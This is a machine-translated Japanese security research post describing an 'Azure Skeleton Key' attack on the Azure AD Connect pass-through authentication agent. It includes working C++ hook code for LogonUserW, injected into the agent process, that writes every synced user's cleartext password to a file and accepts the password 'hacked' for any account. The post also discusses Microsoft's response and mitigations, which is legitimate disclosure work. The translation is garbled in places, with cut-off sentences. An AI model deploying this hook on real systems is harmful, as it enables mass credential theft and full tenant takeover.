Azureスケルトンキー:パススルー認証を悪用して資格情報

を盗む編集:セキュリティ研究者Adam Chesterは、以前にAzure AD Connect for Red Teamersについて書いていました。 ここで彼の素晴らしい書き込みをチェックしてください。

エグゼクティブサマリー

攻撃者が組織のAzureエージェントサーバー(Azure ADとon–prem ADを同期するために必要なコンポーネント)を侵害した場合、同期されたユーザー Azure認証機能を1に操作する概念実証を作成しました。)すべてのユーザーに有効な”スケルトンキー”パスワードを提供し、2.)すべての実際のクリアテキストのユーザー名とパスワードをファイルにダンプします。

Azure AD-Connectを使用したパススルー認証

Azure AD-Connectは、Azure AD環境をオンプレミスドメインに接続し、いくつかの認証方法を提供します:

  • パスワードハッシュ同期-ローカルオンプレムハッシュをクラウドと同期する方法。
  • パススルー認証-クラウドから同期されたユーザーを認証する”Azure agent”on–premをインストールする方法。
  • フェデレーション–AD FSインフラストラクチャに依存するメソッド。

私たちの攻撃方法は、パススルー認証に使用されるAzureエージェントを悪用します。 On-premエージェントは、On-premドメインと同期されているアカウントのAzure ADによって受信された資格情報を収集して検証します。

認証フロー

Azureパススルー認証フロー

  1. ユーザーは、ユーザー名とパスワードをAzure AD/O365に入力します。
  2. Azure ADは、公開キーを使用して資格情報を暗号化し、on–premエージェントによって作成された永続的な接続であるエージェントキューに配置します。 その後、エージェントは資格情報を収集し、秘密キーでそれらを復号化します。
  3. エージェントは、API関数LogonUserWを使用して、On-Prem DCに対してユーザーを認証します。
  4. DCは資格情報を検証し、応答を返します。
  5. on-prem DCの応答がAzure ADに転送されます。
  6. ユーザーのサインインが成功すると、ユーザーはログインします。

エージェントを悪用する

エージェントを悪用するには、次のものが必要です:

  • パススルー認証用に構成されたAzure AD Connect。
  • Azureエージェントがインストールされているサーバー上の管理者特権。

Azureエージェントを実行しているサーバーを侵害した後、認証フローを改ざんすることができます。 資格情報の検証を担当するプロセスは、a Z U R E A D C O N N E C T A U T Henticationagentserviceと呼ばれるのが便利です。exeとそれはAPI関数LogonUserWに依存しています。 “認証エージェントは、dwLogonTypeパラメーターをLOGON32_LOGON_NETWORKに設定してWin32LogonUser APIを使用して、オンプレミスのActive Directoryに対してユーザー名とパスワードを検証しようとします。

APIMonitor(管理者権限を持っていると仮定してWindows API呼び出しをフックできるツール)を使用してAPI呼び出しをフックすると、認証プロセスで興味深いものを見始:

APIモニター

ユーザー”noob”はパスワード”mypassword”で認証されました。

紺碧のエージェントIn Danger(Ralph Wiggum meme)

APIモニターの作成

パスワードへのアクセス方法がわかったので、プロセスを自動化できるかどうかを見てみましょう。

計画は、A Z U R E A D C O N N E C T A U T HenticationagentserviceにDLLを挿入することです。exeを実行し、関数LogonUserWへのポインタを独自の関数で書き直します。

EasyHookを使用して、LogonUserW関数をフックし、新しいLogonUserWに置き換えるDLLを作成しました:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword);myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);}

この関数にはLogonUserWと同じ数のパラメータが必要であることに注意してください。 関数が呼び出されると、ファイル”shhhh”が作成されます。txt”にユーザー名とパスワードの変数を書き込みます。 この関数は、最初に指定されたパラメーターを使用して、実際のLogonUserW呼び出しの結果を返します。

DLLを注入する

InjectAllTheThingsとその反射DLLモジュールのおかげで、DLLをプロセスにロードし、次の結果が得られました:

クリアテキストパスワード

Azure AD(Office365など)に接続する同期されたすべてのユーザーは、パスワードをテキストファイルに追加します。

La Cerise Sur le Gâteau

私たちのパスワードコレクターは、Azureスケルトンキーに変換するために少し”私は何を知らない”だけで、攻撃者は所定のパスワードを使用して、任意のユー

スケルトンキーの場合、関数LogonUserWの戻り値を変更して、パスワード’hacked’を入力すると、ユーザーの実際のパスワードに関係なく正常にログインできるようにします。 LogonUserWは、ユーザーのトークンへのポインタを受け取り、ユーザートークンを設定し、成功した場合はtrueを返すブール関数です。

少しのテストでは、偽のトークンまたはトークンを返さないとプロセスがクラッシュするため、プログラムに有効なトークンが必要であることが明ら

ユーザートークンを生成せずに関数に渡すには、どこで取得できますか?

まあ、私たちはすでにA Z U R E A D C O N N E C T A U T Henticationagentserviceにいるので。exeプロセス、我々はそのユーザートークンを借りることができます!

新バージョン:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << " "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; }}

OpenProcessTokenを呼び出すことで、phToken変数にプロセス自身のトークンを設定します。

は魅力のように動作します!

すべてのユーザーが自分のパスワードで接続できますが、”hacked”というパスワードを使用することで、任意のユーザーとして正常に認証できます。

Here you go…

この時点までに、攻撃者はテナントを完全かつ完全に制御し、グローバル管理者アカウントを含む任意のユーザーとしてログインできます。 これは終盤です。

最終的な考え

Azureエージェントにスケルトンキーをインストールすることは、次の場合に役立ちます:

  • 特権をグローバル管理者に昇格させる(Azureテナントを制御することができます)
  • ドメイン管理者パスワードをリセットすることにより、組織のオンプレミ>microsoft security response centerのレポートへの応答は、パッチが作成されないと信じるようにつながります:

    このレポートは、攻撃者がMicrosoft製品の整合性、可用性、または機密性を侵害する可能性のあるMicrosoft製品またはサービスの弱点を特定するものではありません。 この問題では、攻撃者はサービスを引き継ぐ前に、まずマシンを侵害する必要があります。

    私はAzureのパススルー認証の内部の仕組みに精通していませんが、この脆弱性を軽減するのに役立ついくつかの解決策を提案できます。 たとえば、暗号化された資格情報をエージェントからDC(通常は適切に保護されたサーバー)上にある集中型エージェントに転送することができます。 そのDCエージェントは、資格情報を確認し、Azureクラウドサービスでのみ開くことができる暗号化された応答で応答します。 DCの完全な制御を得た攻撃者はすでに勝っており、その結果としての悪用はその事実によって影を落としています。

    私たちの顧客の一人は、これにも本当に興味深いテイクを持っていました:

    スケルトンキーは、ユーザーがMfaなしでAzure/O365アカウントにログインできる環境で問題になる可能性がありますが、AzureがローカルDCで認証するときにエージェ これにより、攻撃者は、異なるユーザーとしてオンプレミスのリソースにログインするために使用できる大量の有効なユーザーアカウントを提供します。 突然、データベース、他のデバイス、リソースにアクセスできなかったサーバー管理者は、以前に持っていなかった場所を横断してデータベースにアクセスするのに十分 はい、あなたは広告をつかむことを主張することができます。ditファイルもこれを行いますが、これらのパスワードはまだハッシュされており、ハッシュをオフラインでクラックするか、ハッシュタイプの攻撃(その多くが検出される)をパスするために余分な時間が必要です。 この新しい方法は、脅威アクターが使用する方がはるかに簡単で、IRチームが検出するのが難しいようです。

    予防

    特権攻撃者は、この悪用を使用してバックドアをインストールしたり、パスワードを収集したりする可能性があります。 攻撃者が自分のトラックをカバーする方法を知っている場合、従来のログ分析ではこれを検出できない可能性があります。

    mfaを使用すると、攻撃者は偽のパスワードでAzureクラウドに接続できなくなりますが、この攻撃はMFAが有効な環境でパスワードを収集するために使用

コメントを残す

メールアドレスが公開されることはありません。